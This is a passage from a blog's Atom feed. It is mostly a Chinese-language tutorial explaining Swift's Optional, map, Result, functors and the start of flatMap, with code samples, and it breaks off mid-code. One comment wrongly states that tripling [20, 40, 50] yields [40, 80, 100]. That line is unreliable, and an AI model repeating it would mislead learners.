        </content><summary>前段时间好好的看了一下 Cocoa Bindings，然后做了一个最基本的 Demo：三个 NSSlider 控制一个 NSColorWell 的颜色变化。结果发现无论怎么拖动 slider 都无法改变 well 的颜色。代码如下：</summary></entry><entry><title>重新理解 Monad</title><id>http://blog.cee.moe/recap-monad.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/recap-monad.html" /><published>2016-11-08T00:00:00-08:00</published><updated>2016-11-07T09:59:43-08:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;p&gt;对于大多数刚刚入门函数式编程的同学来说，monad（单子、又叫单体）可能是这里面的一道坎。你可能对 &lt;code class=&quot;highlighter-rouge&quot;&gt;map&lt;/code&gt;、&lt;code class=&quot;highlighter-rouge&quot;&gt;flatMap&lt;/code&gt; 以及 &lt;code class=&quot;highlighter-rouge&quot;&gt;filter&lt;/code&gt; 再熟悉不过，可是到了高阶的抽象层次上就又会变得一脸懵逼。其实每个人在学习的阶段都会经历这个过程，不过希望这篇文章能让你重新理解 monad 以及其他相关的概念。&lt;/p&gt;

&lt;h2 id=&quot;optional&quot;&gt;Optional&lt;/h2&gt;

&lt;p&gt;Swift 作为一门类型安全的强类型语言，它在编译阶段就会对你的数据类型进行比较多的检查。因此，在 Swift 中我们遇到了一种新的数据类型，叫做 &lt;strong&gt;Optional&lt;/strong&gt;。它的定义如下：&lt;/p&gt;

&lt;div class=&quot;language-swift highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;enum&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Optional&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;Wrapped&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;ExpressibleByNilLiteral&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;none&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;some&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;Wrapped&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Optional 是个枚举类型，可以看到它有两个值：&lt;code class=&quot;highlighter-rouge&quot;&gt;none&lt;/code&gt; 以及 &lt;code class=&quot;highlighter-rouge&quot;&gt;some&lt;/code&gt;。简单点讲：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;值要么存在（presence），要么不存在（absence）。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;这也就意味着 Optional 可能是包含了一个某个类型的值（&lt;code class=&quot;highlighter-rouge&quot;&gt;some&lt;/code&gt;），也可能是什么都没有（&lt;code class=&quot;highlighter-rouge&quot;&gt;none&lt;/code&gt;）。在这里，Optional 就是个容器（&lt;code class=&quot;highlighter-rouge&quot;&gt;container&lt;/code&gt;）。&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://ooo.0o0.ooo/2016/11/07/58204a65d8ad7.png&quot; alt=&quot;Optional Int&quot; /&gt;&lt;/p&gt;

&lt;p&gt;对于基础类型，在其后面直接加上 &lt;code class=&quot;highlighter-rouge&quot;&gt;?&lt;/code&gt; 就代表了这就是个可选值类型（Optional value）。默认值即为 Optional 的预设值 &lt;code class=&quot;highlighter-rouge&quot;&gt;nil&lt;/code&gt;（区别于 Objective-C）。&lt;/p&gt;

&lt;p&gt;判断一个可选值是否为空，我们通常会采用 &lt;code class=&quot;highlighter-rouge&quot;&gt;if let&lt;/code&gt; 的写法来解包（wrap an optional）。&lt;/p&gt;

&lt;div class=&quot;language-swift highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// if value != nil&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// value = nil&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h2 id=&quot;map&quot;&gt;Map&lt;/h2&gt;

&lt;p&gt;基础类型的 &lt;code class=&quot;highlighter-rouge&quot;&gt;map&lt;/code&gt; 函数调用是非常简单的：&lt;/p&gt;

&lt;div class=&quot;language-swift highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;ages&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;40&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;50&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;tripledAges&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ages&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;map&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// tripledAges = [40, 80, 100]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;如果对于 Optional 呢？&lt;/p&gt;

&lt;div class=&quot;language-swift highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;price&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Optional&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;doubledPrice&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;price&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;map&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// doubledPrice = Optional(40)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;nilPrice&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;none&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// equals to `nil`&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;doubledNilPrice&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;nilPrice&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;map&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// doubledNilPrice = nil&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;我们发现，&lt;code class=&quot;highlighter-rouge&quot;&gt;map&lt;/code&gt; 函数作用在 Optional 上时：&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;值存在（&lt;code class=&quot;highlighter-rouge&quot;&gt;.some&lt;/code&gt;）：值类型 &lt;code class=&quot;highlighter-rouge&quot;&gt;Optional(Int)&lt;/code&gt;，返回值类型 &lt;code class=&quot;highlighter-rouge&quot;&gt;Optional(Int)&lt;/code&gt;；&lt;/li&gt;
  &lt;li&gt;值不存在（&lt;code class=&quot;highlighter-rouge&quot;&gt;.none&lt;/code&gt;）：返回值等同输入（&lt;code class=&quot;highlighter-rouge&quot;&gt;nil&lt;/code&gt;）。&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;map&lt;/code&gt; 函数定义在 Optional 上，最大的好处就在于空值（&lt;code class=&quot;highlighter-rouge&quot;&gt;nil&lt;/code&gt;）的处理，不需要我们再去使用 &lt;code class=&quot;highlighter-rouge&quot;&gt;if let&lt;/code&gt; 解包（空值并没有乘法运算）：&lt;/p&gt;

&lt;div class=&quot;language-swift highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;nilPrice&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;none&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// equals to `nil`&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;doubledNilPrice&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;?&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;nilPrice&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;nilPrice&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;doubledNilPrice&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;nilPrice&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;doubledNilPrice&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;nil&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;因此：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;map&lt;/code&gt; 只对值存在的可选值进行处理。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;map&lt;/code&gt; 通常的表示方法：&lt;/p&gt;

&lt;div class=&quot;language-swift highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;U&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;U&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Container&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;U&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;在这里，容器 &lt;code class=&quot;highlighter-rouge&quot;&gt;Container&lt;/code&gt; 就相当于 &lt;code class=&quot;highlighter-rouge&quot;&gt;Optional&lt;/code&gt;，泛型 &lt;code class=&quot;highlighter-rouge&quot;&gt;T&lt;/code&gt; 和 &lt;code class=&quot;highlighter-rouge&quot;&gt;U&lt;/code&gt; 均为 &lt;code class=&quot;highlighter-rouge&quot;&gt;Int&lt;/code&gt; 类型。在处理完 &lt;code class=&quot;highlighter-rouge&quot;&gt;Int&lt;/code&gt; 值后 &lt;code class=&quot;highlighter-rouge&quot;&gt;map&lt;/code&gt; 函数就把 &lt;code class=&quot;highlighter-rouge&quot;&gt;Int&lt;/code&gt; 型转换成了 &lt;code class=&quot;highlighter-rouge&quot;&gt;Optional(Int)&lt;/code&gt;，并返回。&lt;/p&gt;

&lt;h2 id=&quot;async-callback-trouble&quot;&gt;Async Callback Trouble&lt;/h2&gt;

&lt;p&gt;处理异步的网络请求是一件痛苦的事情。你一定碰到过：&lt;/p&gt;

&lt;div class=&quot;language-swift highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;typealias&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;CompletionBlock&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;?,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;URLResponse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;?,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;?)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Swift&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;Void&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Callback&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;error&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;nil&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; 
    &lt;span class=&quot;cm&quot;&gt;/* Dealing with network errors */&lt;/span&gt; 
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;json&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;parseToJSON&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;cm&quot;&gt;/* Dealing with parsing errors */&lt;/span&gt; 
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;cm&quot;&gt;/* Dealing with JSON mapping errors */&lt;/span&gt;
&lt;span class=&quot;cm&quot;&gt;/* Dealing with other errors */&lt;/span&gt;
&lt;span class=&quot;cm&quot;&gt;/* WTF! 💩 Sh*t! */&lt;/span&gt;
&lt;span class=&quot;cm&quot;&gt;/* Finally, with success */&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;为什么我的异步回调就没有一种方式能够告诉我在哪里出错了呢？方案其实也很简单，我们先在定义一下异步处理的结果（&lt;code class=&quot;highlighter-rouge&quot;&gt;Result&lt;/code&gt;）：&lt;/p&gt;

&lt;div class=&quot;language-swift highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;enum&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;success&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;failure&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;有没有发现 &lt;code class=&quot;highlighter-rouge&quot;&gt;Result&lt;/code&gt; 类型很像 &lt;code class=&quot;highlighter-rouge&quot;&gt;Optional&lt;/code&gt;？没错。它能包含一个成功的返回值；也能在没有返回值时提供一个错误消息。&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;我们也同时希望 &lt;code class=&quot;highlighter-rouge&quot;&gt;map&lt;/code&gt; 能帮我们处理 &lt;code class=&quot;highlighter-rouge&quot;&gt;Result&lt;/code&gt;：如果有结果，就从 &lt;code class=&quot;highlighter-rouge&quot;&gt;JSON&lt;/code&gt; 转换到 &lt;code class=&quot;highlighter-rouge&quot;&gt;String&lt;/code&gt;、再转换到其他类型；否则返回错误信息。&lt;/p&gt;

&lt;p&gt;这样的 &lt;code class=&quot;highlighter-rouge&quot;&gt;map&lt;/code&gt; 函数怎么写呢？不妨先来看一下：&lt;/p&gt;

&lt;div class=&quot;language-swift highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;U&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;U&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;U&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;switch&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;success&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;success&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;failure&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;failure&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;举个最基本的例子，我们希望将返回的 &lt;code class=&quot;highlighter-rouge&quot;&gt;JSON&lt;/code&gt; 转换成 &lt;code class=&quot;highlighter-rouge&quot;&gt;String&lt;/code&gt;，那在这里，&lt;code class=&quot;highlighter-rouge&quot;&gt;map&lt;/code&gt; 所接受的高阶变换 &lt;code class=&quot;highlighter-rouge&quot;&gt;f&lt;/code&gt; 就是一个 &lt;code class=&quot;highlighter-rouge&quot;&gt;JSON -&amp;gt; String&lt;/code&gt; 的函数。调用时，&lt;code class=&quot;highlighter-rouge&quot;&gt;Result&amp;lt;JSON&amp;gt;&lt;/code&gt; 就会通过 &lt;code class=&quot;highlighter-rouge&quot;&gt;map&lt;/code&gt; 最终转换成 &lt;code class=&quot;highlighter-rouge&quot;&gt;Result&amp;lt;String&amp;gt;&lt;/code&gt; 类型。&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://ooo.0o0.ooo/2016/11/07/5820b02a37f15.png&quot; alt=&quot;map&quot; /&gt;&lt;/p&gt;

&lt;p&gt;看上去很不错！&lt;/p&gt;

&lt;h2 id=&quot;functor&quot;&gt;Functor&lt;/h2&gt;

&lt;p&gt;在了解 monad 之前，我们先来了解一下它的孪生兄弟：functor（函子）。&lt;/p&gt;

&lt;p&gt;从上面的例子中可以看到，在调用 &lt;code class=&quot;highlighter-rouge&quot;&gt;map&lt;/code&gt; 函数后，我们还会把 &lt;code class=&quot;highlighter-rouge&quot;&gt;String&lt;/code&gt; 类型的结果封装成了一个可选值 &lt;code class=&quot;highlighter-rouge&quot;&gt;Result&amp;lt;String&amp;gt;&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;像这样能够从容器（Container，这里即 &lt;code class=&quot;highlighter-rouge&quot;&gt;Result&lt;/code&gt;）中取出元素，并通过某个函数将其转换成可以再次被容器包装的结果的类型就称之为 functor。&lt;/p&gt;

&lt;p&gt;还有些不懂？没事，暂时就先记住有 functor 这么个玩意儿。&lt;/p&gt;

&lt;h2 id=&quot;flatmap&quot;&gt;FlatMap&lt;/h2&gt;

&lt;p&gt;重新回到之前 &lt;code class=&quot;highlighter-rouge&quot;&gt;JSON -&amp;gt; String&lt;/code&gt; 的例子上来。假设我们已经将某个 json 转换成了字符串，现在需要将字符串重新格式化，那我们应该需要再调用一次 &lt;code class=&quot;highlighter-rouge&quot;&gt;map&lt;/code&gt;：&lt;/p&gt;

&lt;div class=&quot;language-swift highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;JSON&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;
